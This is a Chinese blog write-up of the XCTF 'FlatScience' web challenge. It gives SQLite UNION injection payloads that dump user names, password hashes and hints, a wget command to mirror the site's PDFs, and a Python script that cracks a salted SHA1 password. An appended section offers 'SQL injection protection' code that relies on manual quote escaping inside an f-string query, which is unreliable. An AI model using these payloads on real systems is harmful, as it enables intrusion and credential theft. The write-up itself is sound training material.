攻防世界 web FlatScience

本文详细解析了如何通过SQL注入技术破解网站登录过程,利用SQLite数据库特性,进行联合查询获取关键信息,包括管理员用户名、密码及其提示。并介绍了如何下载网站PDF文件,使用脚本进行文本转换及SHA1密码比对,最终找到管理员密码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

http://39.96.86.88/2020/04/03/

打开网页后每个转跳都点一下发现都是pdf文件除了here
在这里插入图片描述
进入了根目录1,然后点here或者these会进入不同的根目录。
这也太难看出其中的奥秘了,用dirsearch跑一下。
在这里插入图片描述
经过测试后:发现login.php与admin.php是解题的关键
admin.php的源代码提示了不要绕过,虽然大多数题目都会这样说。
在这里插入图片描述
在login.php的源代码里找到了提示
在这里插入图片描述
加上 ?debuf 出现源码
 通过网页输入而且连接sqlite数据库,这无疑是SQLite注入了。
SQLite数据库自带sqlite_master表。
在这里插入图片描述
查询 usr=‘ union select name,sql from sqlite_master&pw=
在这里插入图片描述通过set-cookie发现Users里面有这几个表

id int primary key
name varchar
password varchar
hint varchar

于是利用联合查询一个一个看:
UNION :合并两个或者两个以上的SQL语句(默认地,UNION 操作符选取不同的值)
UNION ALL:合并操作符相同的几个SQL语句

usr=%27 UNION SELECT id, name from Users--+&pw=chybeta
//name=+admin
usr=%27 UNION SELECT id, password from Users--+&pw=chybeta
//name=+3fab54a50e770d830c0416df817567662a9dc85c
usr=%27 UNION SELECT id, hint from Users--+&pw=chybeta
// name=+my+fav+word+in+my+fav+paper%3F%21

根据hint的name=+my+fav+word+in+my+fav+paper%3F%21提示可能passwrod在pdf文章的hash码中。

结合前面源代码里的password加密,先用wget将网站的全部pdf文件down下来。

wget ip -r -np -nd -A .pdf

然后用脚本拼接上"Salz"后hash加密与前面注入得出的password比较,这样就可以得出管理员得密码了
在这里插入图片描述我的kali炸了,以后再实机演示。

下面贴出大佬的脚本:

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
 
def get_pdf():
	return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
	pdf_path = get_pdf()
	for i in pdf_path:
		print "Searching word in " + i
		pdf_text = convert_pdf_2_text(i).split(" ")
		for word in pdf_text:
			sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
			if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
				print "Find the password :" + word
				exit()
 
if __name__ == "__main__":
	find_password()

这道题碰巧可以用另一种方法,账户密码刚好可以md解密出来
在这里插入图片描述去掉后面的Salz!,管理员登陆得到flag
在这里插入图片描述

没写完,明天再来。
https://blog.youkuaiyun.com/zz_caleb/article/details/89323133

### 推荐的网络安全攻防 Web 学习资源 以下是几个推荐的学习资源,这些资料可以帮助初学者了解网络安全攻防的基础知识并逐步深入: #### 1. **Web 安全基础** - 可以从一份名为《Web安全攻防入门教程》的内容入手,它提供了关于 Web 安全的基础概念、常见的攻击类型及其防御技术的详细介绍[^1]。此教程适合那些刚开始接触 Web 安全领域的人。 #### 2. **系统化的学习路径** - 对于更全面的知识体系,《网络安全入门 5 天速成教程-WEB 安全渗透攻防技术》是一个不错的选择。该文档不仅包含了网络协议分析,还涉及漏洞利用和内网渗透等方面的技术细节[^2]。这份笔记经过精心整理,能有效减少学习过程中的混乱感。 #### 3. **综合性的网络安全指南** - 如果想进一步扩展视野,则可以参考《网络安全攻防:概述》,其中除了涵盖基本的安全法规外,还包括了渗透测试技巧、具体漏洞解析等内容[^3]。这对于构建完整的网络安全知识框架非常有帮助。 #### 4. **实践导向的演练材料** - 关于如何实际操作层面提升自己的技能水平,《网络攻防演练.网络安全.学习》这篇文章给出了很好的指导方向。文章强调通过模拟真实环境下的攻击行为来进行训练,并指出哪些方面需要特别注意[^4]。 ```python # 示例代码展示简单的SQL注入防护措施 def safe_query(user_input): sanitized_input = escape_special_characters(user_input) # 使用函数转义特殊字符 query = f"SELECT * FROM users WHERE username='{sanitized_input}'" return execute(query) def escape_special_characters(input_string): special_chars_map = { "'" : "''", "\"" : "\"\""} escaped_str = input_string.translate(str.maketrans(special_chars_map)) return escaped_str ``` 上述 Python 函数展示了防止 SQL 注入的一个简单例子,体现了理论联系实际的重要性。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值